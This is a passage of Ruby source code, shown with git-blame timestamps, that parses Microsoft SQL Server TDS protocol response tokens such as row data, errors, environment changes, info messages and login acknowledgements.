raw = data.slice!(0, len) if (len and len > 0)
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
case len
|
|
|
|
when 0,255
|
|
|
|
row << ''
|
|
|
|
when 1
|
|
|
|
row << raw.unpack("C")[0]
|
|
|
|
when 2
|
|
|
|
row << raw.unpack('v')[0]
|
|
|
|
when 4
|
|
|
|
row << raw.unpack('V')[0]
|
|
|
|
when 5
|
|
|
|
row << raw.unpack('V')[0] # XXX: missing high byte
|
|
|
|
when 8
|
|
|
|
row << raw.unpack('VV')[0] # XXX: missing high dword
|
|
|
|
else
|
|
|
|
info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}"
|
|
|
|
end
|
|
|
|
else
|
|
|
|
info[:errors] << "unknown column type: #{col.inspect}"
|
2009-10-14 17:41:12 +00:00
|
|
|
end
|
2009-10-18 01:17:58 +00:00
|
|
|
end
|
|
|
|
|
2009-10-14 17:41:12 +00:00
|
|
|
info[:rows] << row
|
2009-10-13 22:24:47 +00:00
|
|
|
info
|
2009-12-30 22:15:12 +00:00
|
|
|
end
|
2009-01-12 00:26:05 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
#
|
|
|
|
# Parse a "ret" TDS token
|
|
|
|
#
|
2009-10-13 22:24:47 +00:00
|
|
|
def mssql_parse_ret(data, info)
|
|
|
|
ret = data.slice!(0,4).unpack('N')[0]
|
|
|
|
info[:ret] = ret
|
|
|
|
info
|
2009-01-12 00:26:05 +00:00
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
#
|
|
|
|
# Parse a "done" TDS token
|
2009-12-30 22:15:12 +00:00
|
|
|
#
|
2009-10-13 22:24:47 +00:00
|
|
|
def mssql_parse_done(data, info)
|
2009-10-18 01:17:58 +00:00
|
|
|
status,cmd,rows = data.slice!(0,8).unpack('vvV')
|
2009-10-13 22:24:47 +00:00
|
|
|
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
|
|
|
info
|
2009-01-12 05:18:05 +00:00
|
|
|
end
|
2009-10-18 20:58:01 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# Parse an "error" TDS token
|
2009-12-30 22:15:12 +00:00
|
|
|
#
|
2009-10-13 22:24:47 +00:00
|
|
|
def mssql_parse_error(data, info)
|
|
|
|
len = data.slice!(0,2).unpack('v')[0]
|
|
|
|
buff = data.slice!(0,len)
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-13 22:24:47 +00:00
|
|
|
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
|
2009-10-18 01:17:58 +00:00
|
|
|
emsg = buff.slice!(0,elen * 2)
|
|
|
|
emsg.gsub!("\x00", '')
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-13 22:24:47 +00:00
|
|
|
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
|
|
|
info
|
2009-01-12 05:18:05 +00:00
|
|
|
end
|
2009-10-18 20:58:01 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# Parse an "environment change" TDS token
|
2009-12-30 22:15:12 +00:00
|
|
|
#
|
2009-10-18 01:17:58 +00:00
|
|
|
def mssql_parse_env(data, info)
|
|
|
|
len = data.slice!(0,2).unpack('v')[0]
|
|
|
|
buff = data.slice!(0,len)
|
|
|
|
type = buff.slice!(0,1).unpack('C')[0]
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
nval = ''
|
|
|
|
nlen = buff.slice!(0,1).unpack('C')[0] || 0
|
|
|
|
nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0
|
|
|
|
|
|
|
|
oval = ''
|
|
|
|
olen = buff.slice!(0,1).unpack('C')[0] || 0
|
|
|
|
oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
info[:envs] ||= []
|
|
|
|
info[:envs] << { :type => type, :old => oval, :new => nval }
|
|
|
|
info
|
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
#
|
|
|
|
# Parse an "information" TDS token
|
2009-12-30 22:15:12 +00:00
|
|
|
#
|
2009-10-18 01:17:58 +00:00
|
|
|
def mssql_parse_info(data, info)
|
|
|
|
len = data.slice!(0,2).unpack('v')[0]
|
|
|
|
buff = data.slice!(0,len)
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
|
|
|
|
emsg = buff.slice!(0,elen * 2)
|
|
|
|
emsg.gsub!("\x00", '')
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 01:17:58 +00:00
|
|
|
info[:infos]||= []
|
|
|
|
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
|
|
|
info
|
|
|
|
end
|
2009-12-30 22:15:12 +00:00
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
#
|
|
|
|
# Parse a "login ack" TDS token
|
2009-12-30 22:15:12 +00:00
|
|
|
#
|
2009-10-18 01:17:58 +00:00
|
|
|
def mssql_parse_login_ack(data, info)
|
|
|
|
len = data.slice!(0,2).unpack('v')[0]
|
|
|
|
buff = data.slice!(0,len)
|
|
|
|
info[:login_ack] = true
|
|
|
|
end
|
2009-01-12 00:26:05 +00:00
|
|
|
end
|
2005-11-26 11:16:50 +00:00
|
|
|
end
|